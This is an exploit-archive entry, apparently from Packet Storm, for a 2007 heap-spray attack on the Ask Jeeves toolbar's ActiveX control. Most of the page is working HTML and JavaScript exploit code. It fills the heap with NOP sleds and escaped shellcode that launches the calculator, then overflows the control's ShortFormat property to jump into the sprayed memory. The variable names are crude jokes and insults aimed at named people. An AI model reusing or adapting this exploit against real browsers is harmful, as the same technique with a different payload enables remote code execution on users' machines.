askjeeves-overflow.txt

🗓️ 25 Sep 2007 00:00:00Reported by Joey MengeleType

packetstorm🔗 packetstormsecurity.com👁 25 Views

An exploit code that launches the system calculator multiple times using a new technique called 'heap fill attack'

`<html>  
  
<SCRIPT language="javascript">  
  
// This is new technique I invent call 'heap fill attack'  
  
var str0ke = 0x0d0d0d0d;  
  
var sucks = unescape( // Launch the system calculator 100 times because what else?  
  
// This code currently not work on Solaris/Sparc  
  
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +  
  
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +  
  
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +  
  
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +  
  
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +  
  
"%uFF57%u63E7%u6C61%u0063");  
  
var dick = 0x400000;  
  
var j0hnson = sucks.length * 2;  
  
var spraySlideSize = dick - (j0hnson+0x38);  
  
var spraySlide = unescape("%u9090%u9090");  
  
spraySlide = getSpraySlide(spraySlide,spraySlideSize);  
  
heapBlocks = (str0ke - 0x400000)/dick;  
  
memory = new Array();for (i=0;i<heapBlocks;i++)  
  
{memory[i] = spraySlide + sucks;}  
  
try{  
  
gadi = new ActiveXObject( 'AskJeevesToolBar.SettingsPlugin.1' );  
  
}  
  
catch(evron)  
  
{  
  
alert(evron);  
  
}  
  
netdev = "A";  
  
while (netdev.length != 0x5e0)  
  
netdev += "A";  
  
netdev += unescape("%0d%0d%0d%0d");  
  
gadi.ShortFormat = netdev;  
  
function getSpraySlide(spraySlide, spraySlideSize)  
  
{while (spraySlide.length*2<spraySlideSize){  
  
spraySlide += spraySlide;}  
  
spraySlide = spraySlide.substring(0,spraySlideSize/2);  
  
return spraySlide;}  
  
</script>  
  
</html>  
`

25 Sep 2007 00:00Current

7.4High risk

Vulners AI Score7.4